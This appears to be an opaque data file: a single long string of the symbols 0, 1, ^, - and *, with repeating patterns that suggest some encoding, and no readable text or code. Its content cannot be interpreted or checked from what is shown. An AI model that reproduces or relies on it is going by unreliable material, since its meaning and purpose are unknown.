^-1*-0010-*-11*-----10---1101*00-00101*001^1*00-**********1*0^-001**00---011*^1*0-----10--1**1*0-00101*001^1*10101*-11*1011**011*--------10110-*-*1011010^11*1*^-010^-11*011*001*1*-----10---10101*0-00101*001^1*0^1*-11*********^1*00-1^-01*^101^-*101**--------01^-*-00^1101******11*0^-101*001*010^1*****001**10101**001*001*01*1*-----10--^-11*0-00101*001^1*11011*-11*********^1*0^-001**00---101*^1*0-----10--10-*1*-00101*001^1*1101*0-11*1011*0^1*0-11*-----10--10101^1*-00101*001^1*-01*-11*--------0^-1*-001101*0-11*-----10--101010101*-00101*001^1*01101**********1*0^-001**00--10-1*^1*0-----10---0-01*-00101*001^1*-00^-11*1011*01011*0-11*01010^-*00--------0^-1*-00-00^-11*-----10--1*01011*-00101*001^1*^11*-11*********^1*0^-001**00--^11*0-11*^1*0-----10---*-*-00101*001^1*^1101*****0011011011011*1**1*010^1*****001**^^1**1*001*01*1*1011*001011*-----10--1010-11*-00101*001^1*00-*--------1^-1*-0011011*--------*1**0-00101*001^1**01*-11*********^1*0^-001**00--1^11*^1*0--------01011**-00101*001^1*0-*0-11*1011*0^11*0101*0^11010-01*^101^-*101**--------01010-*-*001101*-*1*^1********11010101*00^-*001*1*--------010-*00-00101*001^1*1*^10101*0-11*011*001*1*********0011*0^-001**00--1*11*^1*0---------^1*0-00101*001^1**11*1011*001101*********0-^1*****001**1101*1*****001**-1******001**01^1101********0-01******1**0011*11*****01**00101^1*****01**01^1101*****001**1^1011*****01**00110-1*****01***10101*****001**00-*1*********0-1*****001**-00101*********0^1****************1**00-011******1**-001******1**0^11******01**0-11011********-0101*****001**00-******001**0^^1********0-0101********00101*********0--******01**010^1*****0011**11*1********00110^11********-1101******1***1011*****0011**101*********00--01*****01**01*11*********110-******1***^11*****001***0101*****0011**0-*********00^^1********01101101*********10^101*10101*001*1*101*001^1**11*-11*1101*01^1*001****01**0^110^--00101*01^1*001*******-1*10--0^1*01^1*001*******0-11010--*01*01^1*001*******010101010--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1*******011011******1**11****0101***1^1^1*********01010^^1*01*1*1010--0101*0-*-11*-----^---011*00-001011*01^1*^1101******101*-11***1*010^110-010-11*1^1*1*1*0^1**011*1011*0101*01*1*-----^--0-001*0-001011*01^1*0-*0-11*^1*01^1*011*****1**0^11*010^1*******0010^1*011*11*10-*01^1011010-11*1*^10101*01*1**1*01*1*^1*01*1*001****001**001101*--00101*01^1*^11010-01*0101*01*1*-----^--^-1*0-001011*01^1*^11010-0-0-11*1*^1*-00-11*00101*1*1*0101*01^1*^101^-*1*1*01*1*^1*01^1*011****011**0011*1*101*^11*1*110101^-101*1*001********************11*01*0^10-**1*01^1*011****01**01^-*010^-**^--010^1*^101101010-11*-1*01*1*-----^--1^1101*-001011*01^1*1*1*-11*^1*00^1^110101******0^-*0101******11**0-*1*001******11***10-*001*1**^1*0-----^---^11*-001011*01^1*^1101******10^-0110-*00^1^^1*00110-11**01*1*1*0011**011010-01**1*0-----^--10^-*-001011*01^1*0-1*00-001011****01**010-011*101******01**--**01******01**010101**0^-1101********0--11*001*01*001*1**1*0-**011**011010-01**1*0-----110--1101**0-001011*01^1*^110101*^101101*-11*0^1*1*1*1*^1*********00101*001*^1*1*1*00-001011****01**010-011*101******11**1^1**001******11**011***0^-1101********0--11*00^11*1^-1*001*001*1**1*0-**011**011010-01**1*0-----110--**1*0-001011*01^1*00-*00-001011****01**010-011*101******11**0--1*001******11**11010-*00^-1101********0--11*00^11*11*001*-11*001*001*1**1*0-*001010--010^1*0^-11*-----110--^1011*0-001011*01^1**01*-11*^1*01*1^^11*101*001*1*-----110---0-*0-001011*01^1*11011*-11*101*001^1**11010-01*101*001*1*001*001^1**11010-*001*1*01*11*-*001*001*1*-----110---1*1*-001011*01^1*^1101******1101010101^1**1*010^1*****01**00-0-*001*-*01*1*-----110--00^101*-001011*01^1*^1101*-0011*^1********001*11*001*01*******0-11010--********011010-*001*01****01**001**0--*****001^1*1011***1*010^101011010-11*1^1*1*1*1010--0101*1101*-11*-----110--*01011*-001011*01^1*00101*-11*^1**110^1**00--101011*1101*01*1*-----110--*00-*-001011*01^1*^1101********00-*1*00^1*^1********10^101*001*^1*1*1*1101*01^1*-01*1010--010^1011*0-11*-----110--00--*-001011*01^1*^1101*****001*010-010101*00^1^^1*****01**00-^1*001**1*1*1*10101*00110^1**00--101101*1101*01*1*-----10--1*11**-001011*01^1*010110^-1*1*^11*0110-11*1*1*1*1*1101*01^1*01011*010101*11****011**0011*1*101*^11*1*110101^110-*1*001*******************0-*001*01*0011*0110--0101*1011*-----10--11*001*0-001011*01^1*-11*-11*^1*0-101*1101*-*001*1*-*001^1*110101******0110101*0101******11**00-011*001******11**--11*001*11*001*1*011*00-----10---*11*0-001011*01^1*^110^^1*-11*1*^1*********1*1*00^-1*01*1*1011**011010-01*^1*0011*001^1*110101********11*101*010-0-11**00110-11*^1*001**-----10--1011*01*-001011*01^1*11011*-11*101*001^1*01101*001*001^1*01101*-----10--11010^1*-001011*01^1*^1101******^1101101^11*00^1^^1010-00-11**01*1*1*1011*001101*0011*001101*-----10---010101*-001011*01^1*1*^-0-10-11*-1*01*1*1101*01*******001*0^1011*1******1******1*101*0011****01**01*001*0101*1**11011010^1*0101^110101^1*00^11011*00101*1010--0101*0011*-11*-----10--^101011*-001011*01^1*01011*-11*^1**110^1**00--1^11*1101*01*1*-----10--^^-*-001011*01^1*^1101******01*101*0011*001*010^1*****01****101*001*-*01*1*1101*01^1*^11*010101*11****011**0011*1*101*^11*1*110101^-101*1*001*******************0101*001*0^10-*1010--0101*^1*-11*--------10101**-001011*01^1*10-*-11*^1**110^1**00--1*11*1101*01*1*--------10^1*00-001011*01^1**00^-11*1101*01^1**11*1010--0101*1011*-11*--------101011*00-001011*01^1*^11**1**110^10-0^1011*110101******0^-*0101******1**0-*1**1******1**01*01**01*1**1010--0101**0^-11*--------1010101*0-001011*01^1*0101*0-11*^1**110^1**00---101*1101*01*1*--------10^11*0-001011*01^1*01101*-11*1101*01^1*01101*********11010-********001^1*****001**01^11*********011***********11******1***-11*****01**0010-11********1*0101********011*11*****01**0^1101*****001**010^101*****01**0101^11*****011**0-11******1**010^101*****01**00-*********01011*1*****001**101*11*****001**0011*****************011**11*1******1**01*^1********1010-******1**01^11**********1*********0-011*****001**0011*1*****01**0^-1******1**1*11******01**101011******1**001*-**********1******1**01*101*****01**0^1101*****001***0^1********001*^101*101011*01*1*1011*01^1*-1*0-11*00101*1^1*001****01**0-010^--01^1*1^1*001*******-1*10--00^1*1^1*001****01*****0--01*1*1^1*001****01**001**0--*001*1^1*001****01**0^110^--0-1*01^1*001*******0-11010--00-*01^1*001*******010101010--001101*01^1*1**11010^1*1******0-01011******1*00^1****-***1^1^1*1*******0010101*********011*******001**--1*****01**00-0011*****011***011*****************0-*1*001***010101*11*00--------0-*1*-*-1*1^1*01011*-----^--110-110-1^^11010-01*^101^-*1*1*0^1*0--------1*0101*-*-1*1^1*00-*1011**011010-01*^1*0--------10110101*-*-1*1^1*0-1*-----110--0010110--^^101^-*^11*01*1*1011*01*1*--------**11*-*-1*1^1*1*^1*****01**0-0^1*00^-11*1*1*1011*01^1**11010-01*1011*01*1**********101********************1011*******************0-*1*******************10101*********10101*******************00^1*0101*^-1*1*1*0-1*1^1*01101***********0010-01101^1*********11*0010-0110101****01**00101*-101101101*01*1*011****001**1^1^-101^11****01**0-1011*0101*1**1101*01*1*011****001**-01^-101^11****01**00^-*010^-*001*1*1101*01*1*011****001**10101^-101^11****01**00^-*0101*001*01*1*1101*01*1*011****001**^-00-10110^1*01*1*1101*01*1*1101*01^1*011****001***01^1^-0011*00--------^10-*-00^1101******-01*1101011*001*010^1*01010-11*00-*1*1*-----10---01*1*-0011011*1^1*^1101*****0010101*10110101*001*010^101011*-11*-01*1*1*********0^1*^-00-110^1**0--101101*110101******0^-*0101******01**--01*001******01**^11011*001*001*01*1*01**0--101101*110101******0^-*0101******01***00-*001******01**011*01*00^-*001*1*-----10---0^11*-0011011*1^1*^1101******1*10110101**001*010^1********0011*1*001*0-*1*1*^1*01^1*0101^-101*0101*01*1*--------0^-1*-*101*0-11*-----10--110110-*-0011011*1^1*01101**********1*00-1^-01*^101^-*10101*01*1*-----10-----*-0011011*1^1*10-*0101*01^1*011****011**10^1*00101*11****011**0011*1*101*^11*1*11*0^110-0101*001*******************001**1*01*1101*0101^101101*011*001*1*--------01^1*00-0011011*1^1*^1101********01*1101*00^1*^--110-11*^11*1*1*^1*01^1*110101******-101*00101******1**0011*11*001******1**01011*1*00^1*1*1*1*1*1*1^1*1*******0010^^1011*-101*0101^101101*011*001*1*---------0101*0-0011011*1^1*^11**1*01^1*0101^-101*110101******00110101*101*0011010-11*11010^-11**01*1*1**01*1^1*1*******0010^^1011*-101*0101^1*11*011*001*1*--------010-1*0-0011011*1^1*^1101********0--01*00^1*^11*-0-11*10101*1*1*-*001^1*0101^101101*110101******00110101*101******11****01*001******11**1^-1*00^-1*01*1*-1*01^1*1*******0010^^1011*-101*0101^1*11*011*001*1*011*001^1*011****011**10^1*00101*101******0010-*1^-00-*01*1*0-*01^1*1*******0010^^1011*1^11*101*001*1******01**01101*1*********11*********010-11********-1^1*****01**0010^1********0011*11******************00110^1*******************0-011********0-11011********0-1101********-11011********1011*0101*1011011*1*1*11011*1^1*01011******01***1010-00-00110101******11011**101******1**010-1**01******1**0010101**01*11*******011**00101*0-*-*0010110101101*11011*11*001*01^10-11*101*001*1*101*001^1*0101^11011*01*1*0011*01*1******001**1*001*0-001011*01^1*01101*0011*01^1*001*001*1*-----110--01*01*0-*0101*1^1*01011*001*001^1*110101******11*11*0101*********11*11*001********00101*11*00^110101******0-*1*101******11**-01101*001******11**^-01*001*11****011**1*-*0101*-**^1*011010110-011*001*1101********************-*01*01*101^1^1**01*0-----110--1**1*-*0101*1^1*^110101*^10-*0-11*^11*1*1*1*^1********011*11*00^^11*1*1******001**00101101^-00110101******-01101*101******01***1011**1******01**0-***^110101******0-*1*101******11**00-01**1******11**0^101**1*11****011**1*-*0101*-**^1*011010110101011*001*-1*******************00-1*01*01*101^1^1**01*******1**010-11*-001011*001101*0011*0110101******01011**101******11**11*011*001******11**10110-*00^-*00-----110--*10-*-*0101*1^1*-01*-----110--*0-1*-*0101*1^1*1*^10^1010-11**11*1*1*--------1^-1*-0011011*-----10--101***-*0101*1^1*1101*0-11*********^1*0^-001**00---011*0^1*1*1*-----10--110101**-*0101*1^1*01101*-11*0^1*1^1*-01*--------0^-1*-*1101*-11*-----10--1*101*00-*0101*1^1*^1101******11***-**1*010^1*11*-11*-01*1*1*********0^1*^-001**00--101101*0^1*1*1*-----10--^1*1*0-*0101*1^1*^1*0-11*0^1*1^1**11*0101*00101****01**0^1*1^-0--------0^-1*-00^1*0-11*-----10--110-01*0-*0101*1^1*^1101******1**00-001*00^1^^-10-0-11*01101*1*1*********0^1*^-001**00---101*0^1*1*1*-----10--1^-1*0-*0101*1^1*0^1*-11*0^1*1^1*01011*--------0^-1*-*0011*-11*-----10--^11*1*-*0101*1^1*^1101******-0110-*11*00^1^^^110^-11*01101*1*1*********0^1*010-00110101******-01101*101******01**010^1**1******01**101101**0^-*00--------01^-*-00^1101******110-00^101**1*010^1********10-001*00^-01*1*1*-----10--1011*11*-*0101*1^1*1101101*011*1^^^-010-11*01101*1*1*********0-*0^-001**00--1^11*0^1*1*1*-----10--10-1011*-*0101*1^1*1011*0-11*0^1*1^1*11011*010101*11*00--------0^-1*-001011*0-11*-----10---00-1*-*0101*1^1*00-**********1*0^-001**00--101011*0^1*1*1*--------101**00-*0101*1^1*0101101*-*1*^1*****01**00-011**^10101*1*1*0^1*1^1*^11*--------^11**-*0101*1^1*-01*-11*1101*0110101******0-*1*101******11**-1***1******11**1****1*11****011**0011*1*101*^11*1*11*0^1^101101*001*******************0-1*01*01*0-*110101******-1*1*101******1**01101***1******1**0^^1**1*11****01**01*001*0101*0101*11011010^1**0^-101^1*001*1011*00101*--------01010-*-001101101*-*1*^1*****01**01****^10101*1*1*--------1*-*0-*0101*1^1*1*^1*****01**01*-**^10101*1*1*********-1*0^-001**00--1*11*0^1*1*1*--------0101*1*-*0101*1^1*11011*0^1*1^1*01101******01**010110101********00-11*****001****001********11010101*****01**0--******01**-1101*****001***-*********01*-****************1**0101*11********1^11********00-01101*********0^1*****01**0^1^1*****01***10-*****001**01*101******1**00101******001**-0101********0^10101*****01**010^101*****001**1^101*****001***001******01***-*********1101*********001*-********^11*101*1*101*1*1*00101*1^1**01*-11*^11*1^1*001****01**0-010^--*011*1^1*001****01*****0--0-01*1^1*001*******010101010--001101*1^1*001****01**0^110^--010101*1^1*001****01**001**0--*-*1^1*001*******-1*10--0-11*1^1*001*******0-11010--001101*01^1*********1***-001*1******001101011*****0101*00110-1***101***1^11011****10101*01*******01^10110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******01^10-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01***00-*0101*11*******011**00101*0-*-*0010110101101*-^-1*001*-1*-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*-----110--110^-*-*11*001^1*^1101*****00-10^10-**001*010^110110^-11*^1*01*1*01010^-*00-----10--1^-11*-*11*001^1*00-*--------1^-1*-0010-*---------**00-*11*001^1*^1101*****00^1^11****1*010^1********01010101*00^^1*01*1*********10101*10-^^110^101101*-*001*001*1*^1******001*1*01*1**0^1011*******1**11011011*001*01*001^1******01**001011**001*101**011010-01*011*00--------10-1*00-*11*001^1*^1101*****001^-^101**00^1^^1********001*01*001*001*01*1*1101*00101****1**01010--11011011011******011**0011*101**--------0-101*0-*11*001^1*-01*1101**01*01*********001010101*0--101**0^1*--------0^-1*-*101*0-11*---------0-*0-*11*001^1*01101**********1*********01**0101*101*01^11*00^1101010-00--01011011*^1101*1*001^^1********011*11*001*01****01**0^110^--********0011*11*001*01****01**0^110^--01*1^-11*1*011*1*0011**--------01010101*-*11*001^1*00-*0101*001101*--------00101101*-*11*001^1*1*^1********-00-*00^-*001*1*01^1*11****01**01011011*001011********0^1011********1101011*******************1*011*********001011********-11*********10101**********^11*********^11********1101011*********11*1********^1101*********11*0101*^11*001*1*********001^1*0-00^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--001101*01^1*********1***-001*1******010101011*****01***-1***0-***1^1^1*--------010101*00-00101*001^1*11011*01010^-*00--------1^-1*-0011011*--------010-*00-00101*001^1*10-**********1*0--00^11010^1*011011010^11**1******0011**001^11*00^1011*******1**001101**01*011******001101**^11**1*101**011010-01*011*00--------1*011*0-00101*001^1*^1101010-*-11*1*^110-110-11*011*001*1*1101*00101*******0-011*10^11011******011**0011*101**--------00-11*0-00101*001^1**11*1101*001101*--------1^-1*-00^11*--------0011*1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^1101*-*1*011*1*0011**--------00^101*-00101*001^1*^1101*****001010-001101101*001*010^-10-0-11*-*001*1*0101*001101*--------*-01*-00101*001^1*^11010^11010-11*1*^10^1^-11*011*001*1*01^1*11****01***11011*001011********1101^1********^^1********0-*1********0^1^1********1*101********0^101********0010101*********1*101*********11011********01101^1******************001101*0101*10101*001*1**********^1*0-00-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1*******101011*********0-1***01***1^1^1*--------01^1*00-00101*001^1*1*^1*01010-11*011*001*1*01010^1*******001*-01010-0-*00--------^-*00-00101*001^1*00-*--------1^-1*-0010-*---------*1*0-00101*001^1*11011**********1*010-^^110^101101*-*^1**01*******-**10-1*001*011*******1**0--**^1011*******1**010-**01*101**011010-01*011*00--------0-011*0-00101*001^1*0101101*011*1*^-010^-11*-*001*1*1101*00101****1**0110101*0010^--------01*001*-00101*001^1*0-1*1101**101*--------1^-1*-00-01*--------0^^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101*101010-11*1*01^1**11**--------00110101*-00101*001^1*1*^1*01010-11*011*001*1*0101*001101*--------010-01*-00101*001^1*0101*0-11*01^1*11****01**01101011*001011********--********00-1*********010-1********001101101*********00^1********10-**********1*1********-0^1********1101011*******************-*1*********00^1********0011*0101*10101*001*1*********011*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01^1011********0010-1**00101***1^1^1*1*******0010101*********011*******101**01*1******1**010101******11**01011*****************00-*1*00^10101*11*00--------1^^1*-*0011*1^1**11*-----110---10^--00^101^-*-1*001*1**1*01*1*--------01^101*-*0011*1^1*01011**1*01^1**11010-01**1*01*1*--------00101101*-*0011*1^1*11011*-----110--01*00--^^101^-*1^1*01*1*0101*01*1*---------*11*-*0011*1^1*0-1*0101*01^1**11010-01*0101*01*1*********0-*********001*01*******************1*01********00-101*******************001*01********001*01********00-*********0^1*0101*1*011*1*1**11*1^1*^11***********0010-01101^1*********11*0010-0110101****01**00101*-101^11*001*1*011*00--------11*-*-00^110101*^1*********0^1*00^-1*01*1*1*^1********10101101*00^-1*01*1*-----110--00--*-*1101*1^1*-01**********1*0010-*101******001*1**101*11****001***-00-101^11*001*1*--------1^-1*-*0-*-----10---011**-*1101*1^1*11011**********1*0010-00110101******010-1*0101******01**00-101*001******01**-0^1*001*11****001**00101^-101^11*001*1*011****001**1^1^-101^11*******011**00101*0011*-*0010110101101*1^1*11*001********00-10101*001*11*001*1*011****001**-01^-101^11****011***101*00101*11*******00101011*10^^-*011*01*010^-101*001*1101*********10^101*001*11*******00101011*10^^-*011*01*010-1*1**1*1101*********-01101*00^101*001*1*011*001*1*--------0^-1*-001011*0-11*-----10--10101*1*-*1101*1^1*^1*0-11*********^1*0^-00110101******11011**101******11**110-01*001******11**00110101*001*11*******00101011*10^^-*011*01*010-*01**1*1011*-^10-11*101*001*1*011****001**10101^-101^11****011***101*00101*11****011**10-001*10^1101**-^-0^101*101*001*0101*01101*-01*-11*011****011**10-001*10^1101**-1*110^10110101**1*0101*-01*1101*0-11*101*001*1*011*001*1*--------1^-1*-0010-*-----10--101^-*-*1101*1^1*1*^-110110-11*-1*01*1*********0011*0^-00110101******11011**101******1**0-0^1*001******1****001*001*11****011**10-001*10^1101**-1*110^10110101**1*0101*-01*01101*101*001*1*011****001**^-00-10110110101******0-101*0101******11**011011**01******11**001***01*11****011***101*00101*11****011**0011*1*101*^11*1*11*0^-1011011*001********************11*01*0^10-*011****011**1*-*0101*-**^1*011010^10-1*00^^11*******************00-1*01*0^101*001*1*011*******00101011*10^^-*011*010^101*0101**1*-1*********1011*1*001*11****011***101*00101*11****001***1^1*10^^11*01*11011**1101^^-1**01*0101*011****001***1^1*101*0011*01*11011**1101^-***001*0101*101*001*1*011*001*1*--------1^-1*-*0011*---------1*1*-*1101*1^1*0101*0-11*********^1*0^-00110101******11011**101******01**0-1**001******01**^1***1*11****001***1^1*101*0-*01*11011**1101^-1***01*0101*101*001*1*011*001^1*011****001***01^1^-*****001***11011*****001**00-11******1**011*001*********-******1**00-11******1**011011011*****01**01101******001**011*-*****01***110101********1*0-*******************0110101*****01**011011011*******************-*0101*^1101*1*1*01101*1^1*^11*101*001^1*0101^10101*01*1*^1*01*1******001**1^-*0-*101*01^1*01101*^1*01^1*001*001*1*-----110--001011*00-001011*01^1*^1*0-11*001*001^1*011****011**10^1*00101*11*******001011*00101******11**-01101*001******11**01010101*00^^1*01011*00101^1*1*01*1*-*001*1******001**011*11*-*001*01^1*01101*-*001^1**1*0-----110--10^11*0-001011*01^1*10-*-----110--1011011*0-001011*01^1*01101*-11*--------01^-*-00^1101*****00-00110-0101**^1^^1*****01**0101*1**1*0101*1*1*-----110--^1*1*-001011*01^1*00-*-11*********^1*0^-001**00--^-*1101*01*1*-----110--00-001*-001011*01^1*^1101*****00-1*10--**^1^^1*****01**00110-**1*0101*1*1*1101*01^1*-01*--------01^-*-00^1101*****00^1101*-1**01*010^1*****001**0-11**0^1^1*1*1*-----110---*11*-001011*01^1*01101**********1*0^-001**00--101101*1101*01*1*-----110--^11011*-001011*01^1*10101*-11*1101*01^1*01011*--------0^-1*-*101*0-11*-----110--00110-*-001011*01^1*^11**********1*0010-00110101******-01101*101********0010110-*001********001101*1*00^-*00--------0^-1*-0010101*-11*-----10--1*01**-001011*01^1*^1101********00-^1*00^1*^1********001^11*001*^1*1*1*********10101*^-001**00--1^11*1101*01*1*-----10---1101*00-001011*01^1*^1101******10^-001***1*010^1********-10101*00^1*1*1*1*1101*01^1*^11*-----10---1*1*0-001011*01^1*1*^1*****01**001*001*001**1*1*1*1101*0110101******0-*1*101******01**10^-*001******01**11010-*001*11****011**10-001*10^1101**-1*110^11*-**1*0101*-01*11011*011****01**0010^11*101********00--11*001*********110^1*001*1011*-11*---------10-*-001*^1*01010-11*0-*01*1*-----10--10-*1*-001011*01^1*1*^-1*10-11*-1*01*1*********0011*0^-001**00--1*11*1101*01*1*-----10--^^101*-001011*01^1*0-*0-11*1101*01^1*00-*010101*11*00--------0^-1*-*1101*-11*-----10--1^-01*-001011*01^1*01011**********1*0010-*001*0-----10---1*11*-001011*01^1*^1101********01*^1*00^1*^1********110-01*001*-*01*1*0011*0011****011**10^1*00101*11****011**1*-*0101*-**^1*011010-*011*00^-01**********************01*0^110101******1*0101*101******1**010-011*001******1**01101^1*00^-*00--------0^-1*-*-*0-11*--------1011**0-001011*01^1*0101*0-11*********^1*0^-001**00---011*1101*01*1*--------*001*00-001011*01^1*1*1*-11*1101*01^1**11*0101*00101****01**0^1*1^-0--------0^-1*-001*1*-11*--------^-*00-001011*01^1*00101*-11*********^1*0^-001**00---101*1101*01*1*--------001^1*0-001011*01^1*^11*-11*1101*01^1*11011*010101*11*00--------00110-*-00^1101*110110-11*1*^1^11010-11*0-*01*1*---------0011*0-001011*01^1*0011*0-11*********^1*0^-001**00--101011*1101*01*1*--------010-1*0-001011*01^1*-01*1101*01^1*01101******001**-1*********010101011*****01**00-11********00^-******1***-11*****001**01********1***001******1***110101********1^101******1**110101******01**10-01********010^11*****001**00110101*****001**0^10-********1*0-*****01**01*1011********110101********00^-********00--1******1**1*101********0101101********001101******001**00110101********00-1101********1^1011*****01****101****************01***11******01**01*1011********10-*101*101011*01*1*1011*01^1**11*00101*1^1*001****01**0^110^--01^1*1^1*001*******010101010--00^1*1^1*001*******0-11010--01*1*1^1*001*******-1*10--*001*1^1*001****01**001**0--0-1*01^1*001****01*****0--00-*01^1*001****01**0-010^--001101*01^1*********1***-001*1******00^1011*****0101**0-101**00^1**001^11011****10101*01*******10^10110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******10^10-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**0^1011*0101*11*******011**00101*0-*-*0010110101101*11**11*001********00--11*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^---------***-001011*0^1101******0-01*011**001*010^1********01*011*001*11*001*1*01010^1*******0011**0010-0-*00--------0-1**-001011*001011*--------01010-*-00^1101*****001^10101101011**1*010^1**10-11**1*01*1*--------101011*00-001011*01*^11*-0-11*001*001*1*********1101*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------*0101*0-001011*0^1101*101^-11*1*^1********1^1011*00^-*001*1*1101*00101******0011011011*101*1**--------*1011*0-001011*01101*0-11*1101**101*---------00-*-00^1101*****001^101^1***01*010^1********1^1011*001*11*001*1*--------101*01*-001011**011*********-*********001**0101*101*01^11*00^1101*11*0-11*1*011011**001*00--------10-001*-001011*0^1101******11*10101101**0^1^^1*****01**0-0-**^101*001*1*0101*001101*--------1^1101*-001011*0^110101*^^1*10-11*001*001*1*1*^^101*-11*001*001*1*01^1*11****01**001^11*001011********010-1*********110101********00110101******************001^1101********0--********001*11********0101101********00-01**********1101********00101101********010^101********0011*0101*10^1*********0101^1*0-*001*01^1*001*******-1*10--0-*001^1*001*******0-11010--0011*001^1*001*******010101010--0101*001^1*001****01**0^110^--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01*1011*****01***1101****1***1^1^1***00--------*1**0-*01*001^1*^11*01010^1*******0011**0010-0-*00--------01^-*-00^1101*****00-*1*1^11*001*010^1*****01**011011**00^^1*01*1*--------010101*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------010-*00-*01*001^1*^1101*****0011*011*0011**^1^^1^^10-11**1*01*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------*1101*0-*01*001^1**11*1101*00101****1**0110^--011011011******011**0011*101**--------0011011*0-*01*001^1*^110^-0010-11*1*^1*****01***^1**0^-*001*1*1101**101*---------10-*-001*^11*-0-11*011*001*1*--------0101*1*-*01*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101*010^-11*1*011*1*0011**--------00^101*-*01*001^1*^11*0101*001101*--------0-0101*-*01*001^1*^1101******001^10--1*001*010^1********01010101*00^101*001*1*01^1*11****01**010^11*001011********^-01********^^1********0^^1*******************-1*1********11011*********0^1101********0^1101********10^1********001*-********00^1101********10-01*********11*0101*1*1*001*1*********0^101*0-00^1*01^1*001*******010101010--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1*******001011*****01**0-001***011***01^1^1***00-----10--110-011*-00101*001^1*^1101******10-*11*11*00^1^^1*****01**001*101*00^^1*01*1*01010^1*******00-001*010-0-*00-----10--1^-11*-00101*001^1*^1*0-11*--------1^-1*-*0-*--------*1**0-00101*001^1*0-1**********1*010-^^110^1011010^11*^1**01*******11*0010^101*001*011*******1**-011**0^1011*******1**0^11**01*101**011010-01*011*00---------101*00-00101*001^1*11011*1101*00101*******1*11*010^11011******00-**11*-**11011******011**0011*101**--------^^1*0-00101*001^1*^1101*00-0-11*1*^-00-0-11**1*01*1*1101**101*--------0^-1*-*101*0-11*--------1*011*0-00101*001^1*^1101010101*-11*1*^1********^1^1*00^-*001*1*********0^1*********1**0101*101*01^11*00^1101*-00--0^-0110-11**110101*^1********11*001*001*01****01**0-010^--01*^10--0-11*001****01**0-010^--00--0-11*001****01**0-010^--*00-0-11*1*011*1*00101*00--------11*101*-00101*001^1*^1*0-11*0101*001101*--------0-0101*-00101*001^1*^1101**********-*00^1*^1*****01**0-101**01*11*001*1*01^1*11****01***^11*001011**********01**********01********01^1********00-*11********-01011*********01011********0101^1********11011*********-1011*******************-01011********0-^1********0011*0101*10101*001*1*********0^101*0-00^1*01^1*001****01**0^110^--*01*01^1*001****01*****0--0-*001^1*001****01**0-010^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0-^11*****01**0110^1****1**001^1^1******0-----10--1010-11*-00101*001^1*1101101*011*1*^11*1*-11*^1*01*1*01010^11011******0-1*01010-0-*00---------1**0-00101*001^1*0101*0-11*--------^10-*-00^110101*^1^1*0-11*^1*01*1*1*^^1*10-11*^1*01*1*--------*101*00-00101*001^1*01011**********1*010-^^110^10110^101*0-11*^1**01******001101**0-01*001*011******001***1101**0^1011*********010^101*001*101**011010-01*011*00--------*0101*0-00101*001^1*1101*0-11*1101*00101******0010110101*101*1**--------*0011*0-00101*001^1*^1101*****001^10--*1*001*010^1********0-0101*001*001*01*1*1101**101*--------11*-*-00^110101*^1********1101^1*00^-*001*1*1*^1********1101^1*00^-*001*1*--------1011*1*-00101*001^1*^11010-01010-11*1*^1********0-^1*001*11*001*1*********0^1*********1**0101*101*01^11*00^1101*011*-11*1*011011**001*00--------*01101*-00101*001^1*0101*0-11*0101*001101*--------110-01*-00101*001^1*10-*01^1*11****01**011*11*001011********^-1********0^11*********^1011********00^101********00-*********0^1*1******************001*1101********^1011********01*0011********010-01********^1011*********11*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**0-010^--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1******00-0011*****01**00-01***0101***1^1^1*-----10---011011*-00101*001^1*11011*01010^1*******0011**0010-0-*00--------01^-*-00^110101*^1*****01**01101^1*001*101*01*1*1*^^101*-11*0101*01*1*-----10--110--*-00101*001^1*00-**********1*0--00^11010^1*01101101*011**1**101^-11*1011**001^-11*0011**010110-11*0101**011010-01*011*00--------11011**-00101*001^1*^11*1101*00101*******001**010^11011******011**0011*1101*0011011******001^1*011*^1*0011011******00-**11*-**11011******01011**11*101**--------1*001*0-00101*001^1*^110^1101010-11*1*^1********1^^1*00^^1*01*1*1101**101*--------1^-1*-*0011*--------1101101*0-00101*001^1*^1101********011*001*00^1*^1*****01***110101*001*001*01*1*********10101*********1**0101*101*01^11*00^1101*-110-11*1*011*-00--01*110^-11*010110101*^101101*001****01*****0--01*^1*10110-11*001****01*****0--*010110-11*001****01*****0--*1**-*0101**-*0--------0-^1*-00101*001^1*^1101******0-11*0^11*001*010^1*****01**011010-*00^-*001*1*0101*001101*--------10101101*-00101*001^1*^1101********0-10101*00^1*^101*010-11*011*001*1*01^1*11****01**001*11*001011********01010-********010-1*********0-1*********011*********11*-********-101*********10-1********00^1101********0011*1*******************0011*********1101*0101*10101*001*1*********110^1*0-*101*01^1*001****01**001**0--0^1*01^1*001****01*****0--*01*01^1*001*******0-11010--0-*001^1*001*******010101010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0101^11*****01***10101****1**001^1^1*--------011011*00-001011*00101*0-11*01010^-*00--------**1*0-001011*0^110^1^110-11*1*^--^-11*101*001*1*--------01010-*-00^1101*110^-11*1*^1*****01**010-11**1*01*001*1*--------0-101*0-001011*00-1*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1010-*0-001011**011*1101*00101******0010-01*0101*1**--